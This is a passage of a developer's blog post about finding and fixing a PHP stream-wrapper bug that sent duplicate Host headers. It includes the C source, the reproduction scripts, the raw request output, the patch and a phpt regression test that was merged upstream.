        <span class="p">(</span><span class="o">!</span><span class="n">use_ssl</span> <span class="o">&amp;&amp;</span> <span class="n">resource</span><span class="o">-&gt;</span><span class="n">port</span> <span class="o">!=</span> <span class="mi">80</span> <span class="o">&amp;&amp;</span> <span class="n">resource</span><span class="o">-&gt;</span><span class="n">port</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">smart_str_appendc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">req_buf</span><span class="p">,</span> <span class="sc">':'</span><span class="p">);</span>
        <span class="n">smart_str_append_unsigned</span><span class="p">(</span><span class="o">&amp;</span><span class="n">req_buf</span><span class="p">,</span> <span class="n">resource</span><span class="o">-&gt;</span><span class="n">port</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">smart_str_appends</span><span class="p">(</span><span class="o">&amp;</span><span class="n">req_buf</span><span class="p">,</span> <span class="s">"</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The first snippet searches in the header string for an instance of the <code class="language-plaintext highlighter-rouge">host:</code> string in the beginning of a line, if it finds one there then it enables the have_header <code class="language-plaintext highlighter-rouge">HTTP_HEADER_HOST</code> flag, later the second snippet checks that flag and if it’s not enabled then it appends a Host header with the target address.</p>

<p>Turns out that all the affected requests had a header with the string <code class="language-plaintext highlighter-rouge">host:</code> somewhere in them before the Host header (which was shifted to the end of array due to us changing it back to the original host), this made the check fail and the wrapper thought we didn’t have a host header because strstr only returns the first instance of a string. So the wrapper ended up appending a new Host header with the target url and it still sends the one that we were trying to send originally causing the issue.</p>

<p>The following test script:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$opts</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
  <span class="s1">'http'</span><span class="o">=&gt;</span><span class="k">array</span><span class="p">(</span>
    <span class="s1">'method'</span><span class="o">=&gt;</span><span class="s2">"GET"</span><span class="p">,</span>
    <span class="s1">'header'</span><span class="o">=&gt;</span><span class="s2">"RandomHeader: foobar</span><span class="se">\r\n</span><span class="s2">"</span> <span class="mf">.</span>
              <span class="s2">"Cookie: foo=bar</span><span class="se">\r\n</span><span class="s2">"</span> <span class="mf">.</span>
              <span class="s2">"Host: c764dd43.ngrok.io  </span><span class="se">\r\n</span><span class="s2">"</span>
  <span class="p">)</span>
<span class="p">);</span>
<span class="nv">$context</span> <span class="o">=</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="nv">$opts</span><span class="p">);</span>
<span class="nv">$fp</span> <span class="o">=</span> <span class="nb">fopen</span><span class="p">(</span><span class="s1">'http://c764dd43.ngrok.io'</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nv">$context</span><span class="p">);</span>
<span class="nb">fpassthru</span><span class="p">(</span><span class="nv">$fp</span><span class="p">);</span>
</code></pre></div></div>

<p>Will generate the following raw headers:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.0
RandomHeader: foobar
Cookie: foo=bar
Host: c764dd43.ngrok.io
X-Forwarded-For: 2804:14c:8781:8c3a:3805:2fbe:1845:15e6
</code></pre></div></div>

<p>Now if we change the RandomHeader value to something that contains the <code class="language-plaintext highlighter-rouge">host:</code> string:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$opts</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
  <span class="s1">'http'</span><span class="o">=&gt;</span><span class="k">array</span><span class="p">(</span>
    <span class="s1">'method'</span><span class="o">=&gt;</span><span class="s2">"GET"</span><span class="p">,</span>
    <span class="s1">'header'</span><span class="o">=&gt;</span><span class="s2">"RandomHeader: localhost:8080</span><span class="se">\r\n</span><span class="s2">"</span> <span class="mf">.</span>
              <span class="s2">"Cookie: foo=bar</span><span class="se">\r\n</span><span class="s2">"</span> <span class="mf">.</span>
              <span class="s2">"Host: testcustomheader  </span><span class="se">\r\n</span><span class="s2">"</span>
  <span class="p">)</span>
<span class="p">);</span>
<span class="nv">$context</span> <span class="o">=</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="nv">$opts</span><span class="p">);</span>
<span class="nv">$fp</span> <span class="o">=</span> <span class="nb">fopen</span><span class="p">(</span><span class="s1">'http://c764dd43.ngrok.io'</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nv">$context</span><span class="p">);</span>
<span class="nb">fpassthru</span><span class="p">(</span><span class="nv">$fp</span><span class="p">);</span> <span class="p">(</span><span class="n">edited</span><span class="p">)</span>
</code></pre></div></div>

<p>We’ll get two <code class="language-plaintext highlighter-rouge">Host</code> headers in the raw request:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.0
Host: c764dd43.ngrok.io
RandomHeader: localhost:8080
Cookie: foo=bar
Host: testcustomhostheader
X-Forwarded-For: 2804:14c:8781:8c3a:3805:2fbe:1845:15e6
</code></pre></div></div>

<p>According to the <a href="https://tools.ietf.org/html/rfc7230#section-5.4">RFC 7320</a> a server must respond with a 400 (bad request) to requests that contain more than one Host header, so every request affected by this bug should break on a properly implemented server.</p>

<p>With this information I decided to open a <a href="https://bugs.php.net/bug.php?id=79265">bug</a> on the PHP issue tracker. After a few days of inactivity I decided I had enough knowledge to try to implement a fix myself!</p>

<p>I cloned the PHP git repository from github and compiled it from the master branch.</p>

<p>I changed the snippet that checks if the host header is present to check for every occurence of the string:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="p">((</span><span class="n">s</span> <span class="o">=</span> <span class="n">strstr</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="s">"host:"</span><span class="p">)))</span> <span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">s</span> <span class="o">==</span> <span class="n">t</span> <span class="o">||</span> <span class="o">*</span><span class="p">(</span><span class="n">s</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="sc">'\r'</span> <span class="o">||</span> <span class="o">*</span><span class="p">(</span><span class="n">s</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="sc">'\n'</span> <span class="o">||</span>
	                 <span class="o">*</span><span class="p">(</span><span class="n">s</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="sc">'\t'</span> <span class="o">||</span> <span class="o">*</span><span class="p">(</span><span class="n">s</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="sc">' '</span><span class="p">)</span> <span class="p">{</span>
		 <span class="n">have_header</span> <span class="o">|=</span> <span class="n">HTTP_HEADER_HOST</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="n">s</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I recompiled, ran the test script again and it worked! Now I needed to find out the project contributing guidelines.</p>

<p>I found out that PHP has a test suite composed by <code class="language-plaintext highlighter-rouge">phpt</code> files, these files are a mixture of plaintext and php with different sections. The most important sections are <code class="language-plaintext highlighter-rouge">FILE</code> and <code class="language-plaintext highlighter-rouge">EXPECTED</code>, inside the file section there should be a PHP script that should output something to stdout. The <code class="language-plaintext highlighter-rouge">EXPECTED</code> section contains the expected output, the test script then compares the output produced by the script inside FILE to the output on the <code class="language-plaintext highlighter-rouge">EXPECTED</code> section, if they match the test passes, if they don’t then it fails. It’s very simple and effective. I changed the script I was using to reproduce the issue to become a .phpt file so we could have automated tests for this bug:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>--TEST--
Bug #79265 (Improper injection of Host header when using fopen for http requests)
--INI--
allow_url_fopen=1
--SKIPIF--

--FILE--
<span class="cp">&lt;?php</span>
<span class="k">require</span> <span class="s1">'server.inc'</span><span class="p">;</span>

<span class="nv">$responses</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
    <span class="s2">"data://text/plain,HTTP/1.0 200 OK</span><span class="se">\r\n\r\n</span><span class="s2">"</span><span class="p">,</span>
<span class="p">);</span>

<span class="nv">$pid</span> <span class="o">=</span> <span class="nf">http_server</span><span class="p">(</span><span class="s2">"tcp://127.0.0.1:12342"</span><span class="p">,</span> <span class="nv">$responses</span><span class="p">,</span> <span class="nv">$output</span><span class="p">);</span>

<span class="nv">$opts</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
  <span class="s1">'http'</span><span class="o">=&gt;</span><span class="k">array</span><span class="p">(</span>
    <span class="s1">'method'</span><span class="o">=&gt;</span><span class="s2">"GET"</span><span class="p">,</span>
    <span class="s1">'header'</span><span class="o">=&gt;</span><span class="s2">"RandomHeader: localhost:8080</span><span class="se">\r\n</span><span class="s2">"</span> <span class="mf">.</span>
              <span class="s2">"Cookie: foo=bar</span><span class="se">\r\n</span><span class="s2">"</span> <span class="mf">.</span>
              <span class="s2">"Host: userspecifiedvalue</span><span class="se">\r\n</span><span class="s2">"</span>
  <span class="p">)</span>
<span class="p">);</span>
<span class="nv">$context</span> <span class="o">=</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="nv">$opts</span><span class="p">);</span>
<span class="nv">$fd</span> <span class="o">=</span> <span class="nb">fopen</span><span class="p">(</span><span class="s1">'http://127.0.0.1:12342/'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nv">$context</span><span class="p">);</span>
<span class="nb">fseek</span><span class="p">(</span><span class="nv">$output</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">SEEK_SET</span><span class="p">);</span>
<span class="k">echo</span> <span class="nb">stream_get_contents</span><span class="p">(</span><span class="nv">$output</span><span class="p">);</span>
<span class="nb">fclose</span><span class="p">(</span><span class="nv">$fd</span><span class="p">);</span>

<span class="nf">http_server_kill</span><span class="p">(</span><span class="nv">$pid</span><span class="p">);</span>

<span class="cp">?&gt;</span>
--EXPECT--
GET / HTTP/1.0
Connection: close
RandomHeader: localhost:8080
Cookie: foo=bar
Host: userspecifiedvalue

</code></pre></div></div>

<p>I commited the fix alongside with the test script and opened a <a href="https://github.com/php/php-src/pull/5201">pull request</a>. It was merged a few hours later.</p>]]></content><author><name></name></author><category term="coding" /><category term="php" /><category term="opensource" /><summary type="html"><![CDATA[I’ve been a software developer at EBANX since 2016. There we have a mechanism called Release Candidate. Every time we deploy something new to our monolith PHP system we end up deploying it first to the release candidate server. Then we elect a few random requests and proxy it from our live normal servers to the release candidate server, if those requests go well with no errors then the deploy occurs in the normal API servers, if an error occurs the proxying mechanism is disabled and the responsible for the code can better debug the problem in the release candidate server and rollback the code if needed.]]></summary></entry></feed>